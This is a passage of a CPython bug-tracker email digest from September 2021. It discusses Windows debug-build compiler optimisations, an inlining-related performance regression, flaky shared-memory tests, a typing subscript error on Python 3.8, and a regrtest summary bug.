* Running the Python test suite take 19 min 41 sec instead of 12 min 19 sec on Windows x64: 1.6x slower. Because of that, we cannot use a debug build in the GitHub Action pre-commit CI, and we miss bugs which are catched "too late", in Windows buildbots. See my latest attempt to use a debug build in GitHub Actions: https://github.com/python/cpython/pull/24914

Example of test_marshal:

        # The max stack depth should match the value in Python/marshal.c.
        # BUG: https://bugs.python.org/issue33720
        # Windows always limits the maximum depth on release and debug builds
        #if os.name == 'nt' and hasattr(sys, 'gettotalrefcount'):
        if os.name == 'nt':
            MAX_MARSHAL_STACK_DEPTH = 1000
        else:
            MAX_MARSHAL_STACK_DEPTH = 2000

I propose to only change the compiler options for the pythoncore project which builds most important files for the Python "core". See attached PR.

----------
components: Windows
messages: 401141
nosy: paul.moore, steve.dower, tim.golden, vstinner, zach.ware
priority: normal
severity: normal
status: open
title: Windows: enable compiler optimizations when building Python in debug mode
versions: Python 3.11

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Mon Sep  6 11:25:04 2021
From: report at bugs.python.org (STINNER Victor)
Date: Mon, 06 Sep 2021 15:25:04 +0000
Subject: [issue45115] Windows: enable compiler optimizations when building
 Python in debug mode
In-Reply-To: <1630941702.52.0.0278112507289.issue45115@roundup.psfhosted.org>
Message-ID: <1630941904.32.0.208534982181.issue45115@roundup.psfhosted.org>


Change by STINNER Victor :


----------
keywords: +patch
pull_requests: +26609
stage:  -> patch review
pull_request: https://github.com/python/cpython/pull/28181

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Mon Sep  6 11:26:42 2021
From: report at bugs.python.org (STINNER Victor)
Date: Mon, 06 Sep 2021 15:26:42 +0000
Subject: [issue45115] Windows: enable compiler optimizations when building
 Python in debug mode
In-Reply-To: <1630941702.52.0.0278112507289.issue45115@roundup.psfhosted.org>
Message-ID: <1630942002.39.0.68515448388.issue45115@roundup.psfhosted.org>


STINNER Victor  added the comment:

This change is motivated by my PR 28128 which converts the Py_TYPE() macro to a static inline function. The problem is that by default, MSC disables inlining and test_exceptions does crash with a stack overflow, since my change increases the usage of the stack memory: see bpo-44348.

By the problem is wider than just Py_TYPE().

See also bpo-45094: "Consider using __forceinline and __attribute__((always_inline)) on static inline functions (Py_INCREF, Py_TYPE) for debug builds".

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Mon Sep  6 11:27:18 2021
From: report at bugs.python.org (neonene)
Date: Mon, 06 Sep 2021 15:27:18 +0000
Subject: [issue45116] Performance regression 3.10b1 and later on Windows
Message-ID: <1630942038.24.0.156228540374.issue45116@roundup.psfhosted.org>


New submission from neonene :

pyperformance on Windows shows some gap between 3.10a7 and 3.10b1.
The following are the ratios compared with 3.10a7 (the higher the slower).

-------------------------------------------------
Windows x64     |  PGO   release  official-binary
----------------+--------------------------------
20210405        |
    3.10a7      |  1.00   1.24    1.00 (PGO?)
20210408-07:58  |
    b98eba5     |  0.98
20210408-10:22  |
  * PR25244     |  1.04
20210503        |
    3.10b1      |  1.07   1.21    1.07
-------------------------------------------------
Windows x86     |  PGO   release  official-binary
----------------+--------------------------------
20210405        |
    3.10a7      |  1.00   1.25    1.27 (release?)
20210408-07:58  |
    b98eba5bc   |  1.00
20210408-10:22  |
  * PR25244     |  1.11
20210503        |
    3.10b1      |  1.14   1.28    1.29

Since PR25244 (28d28e053db6b69d91c2dfd579207cd8ccbc39e7),
_PyEval_EvalFrameDefault() in ceval.c has seemed to be unoptimized with PGO (msvc14.29.16.10).
At least the functions below have become un-inlined there at all.

  (1) _Py_DECREF()                 (from Py_DECREF,Py_CLEAR,Py_SETREF)
  (2) _Py_XDECREF()                (from Py_XDECREF,SETLOCAL)
  (3) _Py_IS_TYPE()                (from PyXXX_CheckExact)
  (4) _Py_atomic_load_32bit_impl() (from CHECK_EVAL_BREAKER)

I tried in vain other linker options like thread-safe-profiling, agressive-code-generation, /OPT:NOREF.
3.10a7 can inline them in the eval-loop even if profiling only test_array.py.

I measured overheads of (1)~(4) on my own build whose eval-loop uses macros instead of them.

-----------------------------------------------------------------
Windows x64     |  PGO   patched  overhead in eval-loop
----------------+------------------------------------------------
    3.10a7      |  1.00
20210802        |
    3.10rc1     |  1.09   1.05    4%  (slow 43, fast  5, same 10)
20210831-20:42  |
    863154c     |  0.95   0.90    5%  (slow 48, fast  3, same  7)
   (3.11a0+)    |
-----------------------------------------------------------------
Windows x86     |  PGO   patched  overhead in eval-loop
----------------+------------------------------------------------
    3.10a7      |  1.00
20210802        |
    3.10rc1     |  1.15   1.13    2%  (slow 29, fast 14, same 15)
20210831-20:42  |
    863154c     |  1.05   1.02    3%  (slow 44, fast  7, same  7)
   (3.11a0+)    |

----------
components: C API, Interpreter Core, Windows
files: 310rc1_confirm_overhead.patch
keywords: patch
messages: 401143
nosy: Mark.Shannon, neonene, pablogsal, paul.moore, steve.dower, tim.golden, vstinner, zach.ware
priority: normal
severity: normal
status: open
title: Performance regression 3.10b1 and later on Windows
type: performance
versions: Python 3.10, Python 3.11
Added file: https://bugs.python.org/file50263/310rc1_confirm_overhead.patch

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Mon Sep  6 11:29:03 2021
From: report at bugs.python.org (neonene)
Date: Mon, 06 Sep 2021 15:29:03 +0000
Subject: [issue45116] Performance regression 3.10b1 and later on Windows
In-Reply-To: <1630942038.24.0.156228540374.issue45116@roundup.psfhosted.org>
Message-ID: <1630942143.56.0.723173510598.issue45116@roundup.psfhosted.org>


Change by neonene :


Added file: https://bugs.python.org/file50264/ceval_310rc1_patched.c

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Mon Sep  6 11:31:14 2021
From: report at bugs.python.org (STINNER Victor)
Date: Mon, 06 Sep 2021 15:31:14 +0000
Subject: [issue45094] Consider using __forceinline and
 __attribute__((always_inline)) on static inline functions (Py_INCREF,
 Py_TYPE) for debug builds
In-Reply-To: <1630675600.0.0.104145127588.issue45094@roundup.psfhosted.org>
Message-ID: <1630942274.16.0.74464390676.issue45094@roundup.psfhosted.org>


STINNER Victor  added the comment:

Sadly, Py_ALWAYS_INLINE does *not* prevent test_exceptions to crash with my PR 28128 (convert Py_TYPE macro to a static inline function). Even if the Py_TYPE() static inline function is inlined, the stack memory still increases. MSC produces inefficient machine code. It allocates useless variables on the stack which requires more stack memory.

I propose a different approach: bpo-45115 "Windows: enable compiler optimizations when building Python in debug mode".

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Mon Sep  6 11:35:54 2021
From: report at bugs.python.org (STINNER Victor)
Date: Mon, 06 Sep 2021 15:35:54 +0000
Subject: [issue45115] Windows: enable compiler optimizations when building
 Python in debug mode
In-Reply-To: <1630941702.52.0.0278112507289.issue45115@roundup.psfhosted.org>
Message-ID: <1630942554.53.0.783188042404.issue45115@roundup.psfhosted.org>


Change by STINNER Victor :


----------
pull_requests: +26610
pull_request: https://github.com/python/cpython/pull/28128

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Mon Sep  6 11:38:39 2021
From: report at bugs.python.org (STINNER Victor)
Date: Mon, 06 Sep 2021 15:38:39 +0000
Subject: [issue45115] Windows: enable compiler optimizations when building
 Python in debug mode
In-Reply-To: <1630941702.52.0.0278112507289.issue45115@roundup.psfhosted.org>
Message-ID: <1630942719.37.0.770534119074.issue45115@roundup.psfhosted.org>


STINNER Victor  added the comment:

I recently documented the "Python debug build":
https://docs.python.org/dev/using/configure.html#python-debug-build

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Mon Sep  6 11:49:50 2021
From: report at bugs.python.org (Nikita Sobolev)
Date: Mon, 06 Sep 2021 15:49:50 +0000
Subject: [issue45052] WithProcessesTestSharedMemory.test_shared_memory_basics
 fails on Windows
In-Reply-To: <1630347688.96.0.848198201023.issue45052@roundup.psfhosted.org>
Message-ID: <1630943390.28.0.632381301224.issue45052@roundup.psfhosted.org>


Nikita Sobolev  added the comment:

Ok, that's what I was able to find.

Original BPO: https://bugs.python.org/issue35813
Original PRs (sources + tests):
- https://github.com/python/cpython/pull/11664 it was a little bit "rushed"
- https://github.com/python/cpython/pull/11816 follow up

Related: https://bugs.python.org/issue38169

1. The test fails because `sms.size != sms2.size`
2. The `sms2` object is a pickle-unpickle copy of `sms`
3. The `__reduce__` method defined in `SharedMemory` returns `(name=self.name, create=False, size=self.size)` tuple
4. So, when `sms2` is constructed, `size` is ignored, because `create` is `False`

Moreover, even when `size` is passed with `create=True` the docs say that the final amount of allocated memory is platform specific (no details on the exact platforms): it can be larger or equal. Link: https://github.com/python/cpython/blame/main/Doc/library/multiprocessing.shared_memory.rst#L61 

So, this statement makes `self.assertEqual(sms.size, sms2.size)` potentially flaky.

After reading all this my suggestion is:
1. Remove `self.assertEqual(sms.size, sms2.size)` line, since this behavior is not guaranteed to work
2. Add docs about how `pickle` works with `SharedMemory` / `ShareableList`. Right now it is not clear. This should be just an explanation of the current status-quo
3. Add more tests on unpickled `Shared*` objects. Including overflowing set memory limits on unpickled objects and other implemetation details

I will start with `1.` right now, later I can work on `3.`.
But, I feel like someone more knowledgeable should take `2.` (or at least guide me, since `SharedMemory` is not something I use everyday).

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Mon Sep  6 11:51:54 2021
From: report at bugs.python.org (Irit Katriel)
Date: Mon, 06 Sep 2021 15:51:54 +0000
Subject: [issue28451] pydoc.safeimport() raises ErrorDuringImport() if
 __builtin__.__import__ is monkey patched
In-Reply-To: <1476548049.89.0.842528131727.issue28451@psf.upfronthosting.co.za>
Message-ID: <1630943514.78.0.374003034876.issue28451@roundup.psfhosted.org>


Irit Katriel  added the comment:

It is no longer using the traceback check:

https://github.com/python/cpython/blob/37272f5800ee1e9fcb2da4a1766366519b9b3d94/Lib/pydoc.py#L445

----------
nosy: +iritkatriel
resolution:  -> out of date
stage:  -> resolved
status: open -> closed

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Mon Sep  6 11:55:39 2021
From: report at bugs.python.org (Irit Katriel)
Date: Mon, 06 Sep 2021 15:55:39 +0000
Subject: [issue30060] Crash with subinterpreters and Py_NewInterpreter()
In-Reply-To: <1492020071.31.0.759008537591.issue30060@psf.upfronthosting.co.za>
Message-ID: <1630943739.17.0.238478538072.issue30060@roundup.psfhosted.org>


Irit Katriel  added the comment:

Closing as there was no followup to Eric's question. Please create a new issue if you still see this problem on a version >= 3.9.

----------
nosy: +iritkatriel
resolution:  -> out of date
stage:  -> resolved
status: pending -> closed

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Mon Sep  6 12:01:18 2021
From: report at bugs.python.org (Nikita Sobolev)
Date: Mon, 06 Sep 2021 16:01:18 +0000
Subject: [issue45052] WithProcessesTestSharedMemory.test_shared_memory_basics
 fails on Windows
In-Reply-To: <1630347688.96.0.848198201023.issue45052@roundup.psfhosted.org>
Message-ID: <1630944078.16.0.366551823338.issue45052@roundup.psfhosted.org>


Change by Nikita Sobolev :


----------
keywords: +patch
pull_requests: +26611
stage:  -> patch review
pull_request: https://github.com/python/cpython/pull/28182

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Mon Sep  6 12:07:30 2021
From: report at bugs.python.org (Pablo Galindo Salgado)
Date: Mon, 06 Sep 2021 16:07:30 +0000
Subject: [issue45116] Performance regression 3.10b1 and later on Windows
In-Reply-To: <1630942038.24.0.156228540374.issue45116@roundup.psfhosted.org>
Message-ID: <1630944450.22.0.89935632786.issue45116@roundup.psfhosted.org>


Change by Pablo Galindo Salgado :


----------
nosy:  -pablogsal

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Mon Sep  6 12:11:44 2021
From: report at bugs.python.org (=?utf-8?q?=C8=98tefan_Istrate?=)
Date: Mon, 06 Sep 2021 16:11:44 +0000
Subject: [issue45117] `dict` not subscriptable despite using `__future__`
 typing annotations
Message-ID: <1630944704.92.0.838059763947.issue45117@roundup.psfhosted.org>


New submission from ?tefan Istrate :

According to PEP 585 (https://www.python.org/dev/peps/pep-0585/#implementation), I expect that typing aliases could simply use `dict` instead of `typing.Dict`. This works without problems in Python 3.9, but in Python 3.8, despite using `from __future__ import annotations`, I get the following error:



$ /usr/local/Cellar/python at 3.8/3.8.11/bin/python3.8
Python 3.8.11 (default, Jun 29 2021, 03:08:07)
[Clang 12.0.5 (clang-1205.0.22.9)] on darwin
Type "help", "copyright", "credits" or "license" for more information.
>>> from __future__ import annotations
>>> from typing import Any
>>> JsonDictType = dict[str, Any]
Traceback (most recent call last):
  File "", line 1, in 
TypeError: 'type' object is not subscriptable



However, `dict` is subscriptable when not used in an alias:



$ /usr/local/Cellar/python at 3.8/3.8.11/bin/python3.8
Python 3.8.11 (default, Jun 29 2021, 03:08:07)
[Clang 12.0.5 (clang-1205.0.22.9)] on darwin
Type "help", "copyright", "credits" or "license" for more information.
>>> from __future__ import annotations
>>> from typing import Any
>>> def f(d: dict[str, Any]):
...     print(d)
...
>>> f({"abc": 1, "def": 2})
{'abc': 1, 'def': 2}

----------
messages: 401149
nosy: stefanistrate
priority: normal
severity: normal
status: open
title: `dict` not subscriptable despite using `__future__` typing annotations
type: behavior
versions: Python 3.8

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Mon Sep  6 12:13:24 2021
From: report at bugs.python.org (STINNER Victor)
Date: Mon, 06 Sep 2021 16:13:24 +0000
Subject: [issue44348]
 test_exceptions.ExceptionTests.test_recursion_in_except_handler stack
 overflow on Windows debug builds
In-Reply-To: <1623145677.55.0.159722944157.issue44348@roundup.psfhosted.org>
Message-ID: <1630944804.56.0.473498379724.issue44348@roundup.psfhosted.org>


STINNER Victor  added the comment:

Another *working* approach to fix this issue: bpo-45115 "Windows: enable compiler optimizations when building Python in debug mode".

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Mon Sep  6 12:19:32 2021
From: report at bugs.python.org (Irit Katriel)
Date: Mon, 06 Sep 2021 16:19:32 +0000
Subject: [issue7391] [doc] restore the "Idioms and Anti-Idioms in Python"
 document
In-Reply-To: <1259072363.61.0.346322429524.issue7391@psf.upfronthosting.co.za>
Message-ID: <1630945172.18.0.101626629991.issue7391@roundup.psfhosted.org>


Change by Irit Katriel :


----------
title: Re-title the "Using Backslash to Continue Statements" anti-idiom -> [doc] restore the "Idioms and Anti-Idioms in Python" document
versions: +Python 3.11 -Python 3.2, Python 3.3

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Mon Sep  6 12:28:52 2021
From: report at bugs.python.org (STINNER Victor)
Date: Mon, 06 Sep 2021 16:28:52 +0000
Subject: [issue45118] regrtest no longer lists "re-run tests" in the second
 summary
Message-ID: <1630945732.21.0.656532683711.issue45118@roundup.psfhosted.org>


New submission from STINNER Victor :

When running Python with test -w/--verbose2 command line option to re-run tests which failed, the failing tests are listed in the first summary, and they are not listed in the final summary.

Example with Lib/test/test_x.py:
---
import builtins
import unittest

class Tests(unittest.TestCase):
    def test_succeed(self):
        return

    def test_fail_once(self):
        if not hasattr(builtins, '_test_failed'):
            builtins._test_failed = True
            self.fail("bug")
---

Current output when running test_sys (success) and test_x (failed once, then pass):
---
$ ./python -m test test_sys test_x -w
0:00:00 load avg: 0.80 Run tests sequentially
0:00:00 load avg: 0.80 [1/2] test_sys
0:00:01 load avg: 0.80 [2/2] test_x
test test_x failed -- Traceback (most recent call last):
  File "/home/vstinner/python/main/Lib/test/test_x.py", line 11, in test_fail_once
    self.fail("bug")
    ^^^^^^^^^^^^^^^^
AssertionError: bug

test_x failed (1 failure)

== Tests result: FAILURE ==

1 test OK.

1 test failed:
    test_x

1 re-run test:
    test_x
0:00:01 load avg: 0.80
0:00:01 load avg: 0.80 Re-running failed tests in verbose mode
0:00:01 load avg: 0.80 Re-running test_x in verbose mode (matching: test_fail_once)
test_fail_once (test.test_x.Tests) ... ok

----------------------------------------------------------------------
Ran 1 test in 0.000s

OK

== Tests result: FAILURE then SUCCESS ==

All 2 tests OK.

Total duration: 2.0 sec
Tests result: FAILURE then SUCCESS
---

"re-run tests" is missing in the last summary.

----------
components: Tests
messages: 401151
nosy: vstinner
priority: normal
severity: normal
status: open
title: regrtest no longer lists "re-run tests" in the second summary
versions: Python 3.11

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Mon Sep  6 12:32:24 2021
From: report at bugs.python.org (STINNER Victor)
Date: Mon, 06 Sep 2021 16:32:24 +0000
Subject: [issue45118] regrtest no longer lists "re-run tests" in the second
 summary
In-Reply-To: <1630945732.21.0.656532683711.issue45118@roundup.psfhosted.org>
Message-ID: <1630945944.14.0.367283283695.issue45118@roundup.psfhosted.org>


Change by STINNER Victor :


----------
keywords: +patch
pull_requests: +26612
stage:  -> patch review
pull_request: https://github.com/python/cpython/pull/28183

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Mon Sep  6 12:35:18 2021
From: report at bugs.python.org (STINNER Victor)
Date: Mon, 06 Sep 2021 16:35:18 +0000
Subject: [issue45116] Performance regression 3.10b1 and later on Windows
In-Reply-To: <1630942038.24.0.156228540374.issue45116@roundup.psfhosted.org>
Message-ID: <1630946118.23.0.871307485721.issue45116@roundup.psfhosted.org>


STINNER Victor  added the comment:

Rather than defining again functions as macro, you should consider using __forceinline function attribute: see bpo-45094.

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Mon Sep  6 12:39:29 2021
From: report at bugs.python.org (STINNER Victor)
Date: Mon, 06 Sep 2021 16:39:29 +0000
Subject: [issue45113] [subinterpreters][C API] Add a new function to create
 PyStructSequence from Heap.
In-Reply-To: <1630926648.9.0.514792822043.issue45113@roundup.psfhosted.org>
Message-ID: <1630946369.47.0.996561221114.issue45113@roundup.psfhosted.org>


Change by STINNER Victor :


----------
nosy:  -vstinner

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Mon Sep  6 12:40:21 2021
From: report at bugs.python.org (STINNER Victor)
Date: Mon, 06 Sep 2021 16:40:21 +0000
Subject: [issue45105] Incorrect handling of unicode character \U00010900
In-Reply-To: <1630840329.53.0.683865786934.issue45105@roundup.psfhosted.org>
Message-ID: <1630946421.44.0.37952903412.issue45105@roundup.psfhosted.org>


Change by STINNER Victor :


----------
nosy:  -vstinner

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Mon Sep  6 12:40:31 2021
From: report at bugs.python.org (Raymond Hettinger)
Date: Mon, 06 Sep 2021 16:40:31 +0000
Subject: [issue45112] Python exception object is different after pickle.dumps
 and pickle.loads
In-Reply-To: <1630923274.69.0.294387149834.issue45112@roundup.psfhosted.org>
Message-ID: <1630946431.48.0.244398360687.issue45112@roundup.psfhosted.org>


Raymond Hettinger  added the comment:

It would be nice if exception pickling was more friendly to subclasses.  Perhaps, the default should be to store and restore all state including args and a __dict__ if any.

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Mon Sep  6 12:43:19 2021
From: report at bugs.python.org (Raymond Hettinger)
Date: Mon, 06 Sep 2021 16:43:19 +0000
Subject: [issue45116] Performance regression 3.10b1 and later on Windows
In-Reply-To: <1630942038.24.0.156228540374.issue45116@roundup.psfhosted.org>
Message-ID: <1630946599.84.0.86925668079.issue45116@roundup.psfhosted.org>


Raymond Hettinger  added the comment:

Perhaps these critical code sections should have been left as macros. It is difficult to assuring system wide inlining across modules.

----------
nosy: +rhettinger

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Mon Sep  6 12:45:37 2021
From: report at bugs.python.org (Irit Katriel)
Date: Mon, 06 Sep 2021 16:45:37 +0000
Subject: [issue18534] [doc] State clearly that open() 'file' param is "name"
 attr of the result
In-Reply-To: <1374556018.34.0.468152457131.issue18534@psf.upfronthosting.co.za>
Message-ID: <1630946737.21.0.794345638831.issue18534@roundup.psfhosted.org>


Change by Irit Katriel :


----------
keywords: +easy
title: State clearly that open() 'file' param is "name" attr of the result -> [doc] State clearly that open() 'file' param is "name" attr of the result
versions: +Python 3.10, Python 3.11, Python 3.9 -Python 3.3, Python 3.4

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Mon Sep  6 12:46:43 2021
From: report at bugs.python.org (Raymond Hettinger)
Date: Mon, 06 Sep 2021 16:46:43 +0000
Subject: [issue7391] [doc] restore the "Idioms and Anti-Idioms in Python"
 document
In-Reply-To: <1259072363.61.0.346322429524.issue7391@psf.upfronthosting.co.za>
Message-ID: <1630946803.57.0.205500757746.issue7391@roundup.psfhosted.org>


Raymond Hettinger  added the comment:

The document out of date when it was removed and is now another dozen years older.  Since then no one has expresses any interest with this and other tools have emerged to deal with code formatting.

----------
resolution:  -> out of date
stage:  -> resolved
status: open -> closed

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Mon Sep  6 12:48:45 2021
From: report at bugs.python.org (Steve Dower)
Date: Mon, 06 Sep 2021 16:48:45 +0000
Subject: [issue45115] Windows: enable compiler optimizations when building
 Python in debug mode
In-Reply-To: <1630941702.52.0.0278112507289.issue45115@roundup.psfhosted.org>
Message-ID: <1630946925.43.0.810404205074.issue45115@roundup.psfhosted.org>


Steve Dower  added the comment:

I strongly disagree. If CI needs to be faster, please just change the CI configuration. If contributors have to wait a few minutes longer, they can wait - they'll save that time in local compilations.

Local debugging absolutely relies on debug builds. You'd be destroying the workflow of most Windows-based developers with this change. It's not worth it.

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Mon Sep  6 12:55:41 2021
From: report at bugs.python.org (Steve Dower)
Date: Mon, 06 Sep 2021 16:55:41 +0000
Subject: [issue45052] WithProcessesTestSharedMemory.test_shared_memory_basics
 fails on Windows
In-Reply-To: <1630347688.96.0.848198201023.issue45052@roundup.psfhosted.org>
Message-ID: <1630947341.53.0.979047785779.issue45052@roundup.psfhosted.org>


Steve Dower  added the comment:


New changeset 19871fce3b74fc3f37e334a999e00d0ef65a8f1e by Nikita Sobolev in branch 'main':
bpo-45052: Unskips a failing `test_shared_memory_basics` test (GH-28182)
https://github.com/python/cpython/commit/19871fce3b74fc3f37e334a999e00d0ef65a8f1e


----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Mon Sep  6 12:55:53 2021
From: report at bugs.python.org (miss-islington)
Date: Mon, 06 Sep 2021 16:55:53 +0000
Subject: [issue45052] WithProcessesTestSharedMemory.test_shared_memory_basics
 fails on Windows
In-Reply-To: <1630347688.96.0.848198201023.issue45052@roundup.psfhosted.org>
Message-ID: <1630947353.12.0.746216119652.issue45052@roundup.psfhosted.org>


Change by miss-islington :


----------
nosy: +miss-islington
nosy_count: 9.0 -> 10.0
pull_requests: +26613
pull_request: https://github.com/python/cpython/pull/28185

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Mon Sep  6 12:55:56 2021
From: report at bugs.python.org (Steve Dower)
Date: Mon, 06 Sep 2021 16:55:56 +0000
Subject: [issue45052] WithProcessesTestSharedMemory.test_shared_memory_basics
 fails on Windows
In-Reply-To: <1630347688.96.0.848198201023.issue45052@roundup.psfhosted.org>
Message-ID: <1630947356.32.0.537603906972.issue45052@roundup.psfhosted.org>


Steve Dower  added the comment:

The test fix looks good to me. That resolves this issue, yes? The other work is going on elsewhere?

----------
nosy:  -miss-islington

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Mon Sep  6 13:01:44 2021
From: report at bugs.python.org (Nikita Sobolev)
Date: Mon, 06 Sep 2021 17:01:44 +0000
Subject: [issue45052] WithProcessesTestSharedMemory.test_shared_memory_basics
 fails on Windows
In-Reply-To: <1630947356.32.0.537603906972.issue45052@roundup.psfhosted.org>
Message-ID: 


Nikita Sobolev  added the comment:

I think that adding extra tests and docs are two separate new tasks. I will
open them today.

Thanks a lot, everyone!

??, 6 ????. 2021 ?. ? 19:56, Steve Dower :

>
> Steve Dower  added the comment:
>
> The test fix looks good to me. That resolves this issue, yes? The other
> work is going on elsewhere?
>
> ----------
> nosy:  -miss-islington
>
> _______________________________________
> Python tracker 
> 
> _______________________________________
>

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Mon Sep  6 13:02:24 2021
From: report at bugs.python.org (Irit Katriel)
Date: Mon, 06 Sep 2021 17:02:24 +0000
Subject: [issue28978] a redundant right parentheses in the EBNF rules of
 parameter_list
In-Reply-To: <1481803174.61.0.122563860327.issue28978@psf.upfronthosting.co.za>
Message-ID: <1630947744.07.0.169768853739.issue28978@roundup.psfhosted.org>


Irit Katriel  added the comment:

This doc has changed, and it's now like this:

parameter_list            ::=  defparameter ("," defparameter)* "," "/" ["," [parameter_list_no_posonly]]
                                 | parameter_list_no_posonly
parameter_list_no_posonly ::=  defparameter ("," defparameter)* ["," [parameter_list_starargs]]
                               | parameter_list_starargs
parameter_list_starargs   ::=  "*" [parameter] ("," defparameter)* ["," ["**" parameter [","]]]
                               | "**" parameter [","]

----------
nosy: +iritkatriel
resolution:  -> out of date
stage: needs patch -> resolved
status: open -> closed

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Mon Sep  6 13:08:31 2021
From: report at bugs.python.org (Steve Dower)
Date: Mon, 06 Sep 2021 17:08:31 +0000
Subject: [issue44348]
 test_exceptions.ExceptionTests.test_recursion_in_except_handler stack
 overflow on Windows debug builds
In-Reply-To: <1623145677.55.0.159722944157.issue44348@roundup.psfhosted.org>
Message-ID: <1630948111.59.0.549508068766.issue44348@roundup.psfhosted.org>


Steve Dower  added the comment:

It should also be possible to reduce the stack size of each frame. We've done that before, because there were multiple temporary buffers allocated on the stack that were trivially moved into functions. I bet we can also reduce the number of indirections, as last time I had to investigate a native stack we seem to have bloated up to 6-7 C frames for each Python frame.

Failing that, I'd rather have an option to build with higher stack size just for tests (or users who care that much - my experience is that people tend to care more about many Python processes rather than high recursion). That only affects python[w][_uwp].exe.

We could also add a threading API to allow creating new threads with larger stack size. That would allow us to write tests that can do it, and also enable users who may run into it. I'd prefer Windows just be able to expand the stack better at runtime, but the reserved address space apparently wins the back-compat argument.

----------

_______________________________________
Python tracker 

_______________________________________

From report at bugs.python.org  Mon Sep  6 13:10:56 2021
From: report at bugs.python.org (STINNER Victor)
Date: Mon, 06 Sep 2021 17:10:56 +0000
Subject: [issue45119] test_signal.test_itimer_virtual() failed on AMD64 Fedora
 Rawhide 3.x
Message-ID: <1630948256.1.0.298507689656.issue45119@roundup.psfhosted.org>


New submission from STINNER Victor :

AMD64 Fedora Rawhide 3.x:
https://buildbot.python.org/all/#/builders/285/builds/685

It is likely test_itimer_virtual() of test_signal which failed.

On the buildbot worker:

$ rpm -q glibc
glibc-2.34.9000-5.fc36.x86_64
$ uname -r
5.15.0-0.rc0.20210902git4ac6d90867a4.4.fc36.x86_64

test.pythoninfo:

platform.libc_ver: glibc 2.34.9000
platform.platform: Linux-5.15.0-0.rc0.20210902git4ac6d90867a4.4.fc36.x86_64-x86_64-with-glibc2.34.9000

Logs:

test test_signal crashed -- Traceback (most recent call last):
  File "/home/buildbot/buildarea/3.x.cstratak-fedora-rawhide-x86_64/build/Lib/test/libregrtest/runtest.py", line 340, in _runtest_inner
    refleak = _runtest_inner2(ns, test_name)
              ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/home/buildbot/buildarea/3.x.cstratak-fedora-rawhide-x86_64/build/Lib/test/libregrtest/runtest.py", line 297, in _runtest_inner2
    test_runner()
    ^^^^^^^^^^^^^
  File "/home/buildbot/buildarea/3.x.cstratak-fedora-rawhide-x86_64/build/Lib/test/libregrtest/runtest.py", line 261, in _test_module
    support.run_unittest(tests)
    ^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/home/buildbot/buildarea/3.x.cstratak-fedora-rawhide-x86_64/build/Lib/test/support/__init__.py", line 1123, in run_unittest
    _run_suite(suite)
    ^^^^^^^^^^^^^^^^^
  File "/home/buildbot/buildarea/3.x.cstratak-fedora-rawhide-x86_64/build/Lib/test/support/__init__.py", line 998, in _run_suite
    result = runner.run(suite)
             ^^^^^^^^^^^^^^^^^
  File "/home/buildbot/buildarea/3.x.cstratak-fedora-rawhide-x86_64/build/Lib/unittest/runner.py", line 176, in run
    test(result)
    ^^^^^^^^^^^^
  File "/home/buildbot/buildarea/3.x.cstratak-fedora-rawhide-x86_64/build/Lib/unittest/suite.py", line 84, in __call__
    return self.run(*args, **kwds)
           ^^^^^^^^^^^^^^^^^^^^^^^
  File "/home/buildbot/buildarea/3.x.cstratak-fedora-rawhide-x86_64/build/Lib/unittest/suite.py", line 122, in run
    test(result)
    ^^^^^^^^^^^^
  File "/home/buildbot/buildarea/3.x.cstratak-fedora-rawhide-x86_64/build/Lib/unittest/suite.py", line 84, in __call__
    return self.run(*args, **kwds)
           ^^^^^^^^^^^^^^^^^^^^^^^
  File "/home/buildbot/buildarea/3.x.cstratak-fedora-rawhide-x86_64/build/Lib/unittest/suite.py", line 122, in run
    test(result)
    ^^^^^^^^^^^^
  File "/home/buildbot/buildarea/3.x.cstratak-fedora-rawhide-x86_64/build/Lib/unittest/suite.py", line 84, in __call__
    return self.run(*args, **kwds)
           ^^^^^^^^^^^^^^^^^^^^^^^
  File "/home/buildbot/buildarea/3.x.cstratak-fedora-rawhide-x86_64/build/Lib/unittest/suite.py", line 122, in run
    test(result)
    ^^^^^^^^^^^^
  File "/home/buildbot/buildarea/3.x.cstratak-fedora-rawhide-x86_64/build/Lib/unittest/case.py", line 652, in __call__
    return self.run(*args, **kwds)
           ^^^^^^^^^^^^^^^^^^^^^^^
  File "/home/buildbot/buildarea/3.x.cstratak-fedora-rawhide-x86_64/build/Lib/unittest/case.py", line 569, in run
    result.startTest(self)
    ^^^^^^^^^^^^^^^^^^^^^^
  File "/home/buildbot/buildarea/3.x.cstratak-fedora-rawhide-x86_64/build/Lib/test/support/testresult.py", line 41, in startTest
    super().startTest(test)
